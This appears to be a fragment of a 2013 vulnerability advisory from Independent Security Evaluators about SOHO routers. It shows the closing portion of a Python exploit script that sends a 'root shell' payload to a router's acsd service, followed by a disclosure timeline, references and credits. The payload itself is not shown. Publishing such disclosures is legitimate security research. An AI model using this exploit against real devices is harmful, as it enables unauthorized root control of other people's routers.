ISE SOHO Vulnerability Catalog Published - Independent Security ...

try:
print """ [*] Attempting to exploit the acsd param command.
[*] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d.
[*] Payload Length: %d bytes.""" % (victim, port, len(sploit))
net_sock.send(sploit)
sleep(1)
except:
print "\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)
try:
print """ [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!
[*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n"""
net_sock.close()
except:
print "\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)
if __name__ == "__main__":
main()
Disclosure Timeline
♦ 7/26/2013 - Public Disclosure
References
♦ Advisory/Video: http://infosec42.blogspot.com
♦ http://securityevaluators.com/content/case-studies/
Credit
♦ Discovered By: Jacob Holcomb and Jacob Thompson – Security Analysts @
Independent Security Evaluators
♦ Exploited By: Jacob Holcomb – Security Analyst @ Independent Security
Evaluators
99